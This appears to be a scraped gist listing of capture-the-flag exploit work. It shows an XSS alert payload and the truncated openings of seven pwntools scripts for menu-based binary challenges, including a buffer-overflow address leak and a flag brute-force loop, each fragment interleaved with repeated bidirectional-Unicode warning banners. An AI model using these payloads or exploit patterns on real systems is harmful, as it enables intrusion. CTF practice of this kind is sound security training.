This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>alert(document.domain)</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import re | |
def alloc(size, content): | |
p.recvuntil('> ') | |
p.sendline('1') | |
p.recvuntil('Length: ') | |
p.sendline(str(size)) | |
p.recvuntil('Content: ') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import time | |
context.arch = "amd64" | |
i = 0 | |
# flag = "hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}" | |
flag = "" | |
while True: | |
for j in "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}": |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import re | |
def leak(address): | |
p.sendline('2') | |
p.recv() | |
p.sendline('A'*200 + p64(address)) | |
p.recv() | |
p.sendline('1') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import re | |
def addnote(name, desc): | |
p.recvuntil('>> ') | |
p.sendline('1') | |
p.recvuntil('name: ') | |
p.sendline(name) | |
p.recvuntil('desc: ') | |
p.sendline(desc) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import re | |
def pack(arg): | |
hexarg = unhex(hex(arg)[2:]) | |
out = "" | |
for i in range(len(hexarg)-1, -1,-1): | |
out += hexarg[i] | |
return out |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import re | |
def add(title, brsize, brcontent, reftitle, bestselling='N'): | |
p.recvuntil('choice:') | |
p.sendline('1') | |
p.recvuntil('Title:') | |
p.sendline(title) | |
p.recvuntil('size') | |
p.sendline(str(brsize)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import re | |
def update(alias, name, desc, cash): | |
p.recvuntil('> ') | |
p.sendline('update %s' % alias) | |
p.recvuntil('Name: ') | |
p.sendline(name) | |
p.recvuntil('Desc: ') |